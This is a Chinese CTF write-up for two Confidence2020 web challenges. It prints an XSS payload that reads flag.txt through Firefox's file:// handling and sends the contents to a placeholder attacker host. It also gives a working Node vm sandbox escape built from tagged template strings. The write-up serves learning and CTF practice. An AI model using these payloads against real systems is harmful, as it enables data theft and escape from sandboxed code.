Confidence2020-Web题解
Cat web
题目根据jsonp渲染img标签
跟进http://catweb.zajebistyc.tf/cats?kind=
看下存不存在jsonp的劫持,如果存在就可以x了。确实存在xss,稍微绕一下就能出来了
同时这个kind参数还存在目录遍历,在templates下发现flag和index.html
题目给了管理员发送请求的功能,一开始我以为是用selenium或者puppeteer进行的xss-bot,而且浏览器是Firefox低版本
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
一开始我以为是CVE-2019-11730,我用win10+firefox67打到了本地的文件,但是需要点击劫持,poc没改通,放弃了。。
大部分时间都浪费在这了,最后看官方wp感觉挺没意思的。。原来后端会去用firefox访问请求的url,然后firefox 67同时支持file:///协议读文件
并且此版本的firefox在fetch的时候没有同源的限制
所以利用file协议打开templates下的index.html去xss,这样就能用fetch
获取同目录下的flag.txt而不受同源限制(flag.txt同目录),payload如下:
/report?file:///app/templates/index.html?","status": "ok", "content": ["\"><script>fetch('flag.txt').then(res => res.text()).then(res=> fetch(`http://xxxxx:8888/${res}`))</script>",2,3], "a":"a
Temple JS
题目代码
const express = require("express")
const fs = require("fs")
const vm = require("vm")
global.flag = fs.readFileSync("flag").toString()
const source = fs.readFileSync(__filename).toString()
const help = "There is no help on the way."
const app = express()
const port = 3000
app.use(express.json())
app.use('/', express.static('public'))
app.post('/repl', (req, res) => {
let sandbox = vm.createContext({par: (v => `(${v})`), source, help})
let validInput = /^[a-zA-Z0-9 ${}`]+$/g
let command = req.body['cmd']
console.log(`${req.ip}> ${command}`)
let response;
try {
if(validInput.test(command))
{
response = vm.runInContext(command, sandbox, {
timeout: 300,
displayErrors: false
});
} else
throw new Error("Invalid input.")
} catch(ex)
{
response = ex.toString()
}
console.log(`${req.ip}< ${response}`)
res.send(JSON.stringify({"response": response}))
})
console.log(`Listening on :${port}...`)
app.listen(port, '0.0.0.0')
目的就是逃逸vm读flag,关于逃逸vm网上已经有现成的方法:调用Function=>rce,详情见vm沙箱逃逸
因此我们需要想怎么调用到Function
。代码中看出在vm的上下文中存在一个par
方法,可以借助with返回自身它的constructor
。我们来创造一个匿名函数如下
Function`a${`with${par`par`}return constructor`}`
带标签的模板字符串是这样规定的:函数调用时若存在${expression}
,则会把${expression}
当作参数传递给函数,详情见:带标签的模板字符串。
根据par的转换定义,创建的a
函数的内容被解释为
function anonymous(a,
/*``*/) {
with(par)return constructor
}
当调用这个匿名函数,返回一个宿主机的Function
,也就逃逸到global所在的上下文了。接着就是调用这个Function
来返回flag
Function`a${`with${par`par`}return constructor`}``` `return flag` ``
一个简单的demo帮助理解
global.flag = "aaa";
function anonymous(a,
/*``*/) {
with(par)return constructor
}
function par(a) {
console.log(123);
}
console.log(anonymous``) //[Function: Function]
console.log(anonymous`` `return flag` ``) //aaa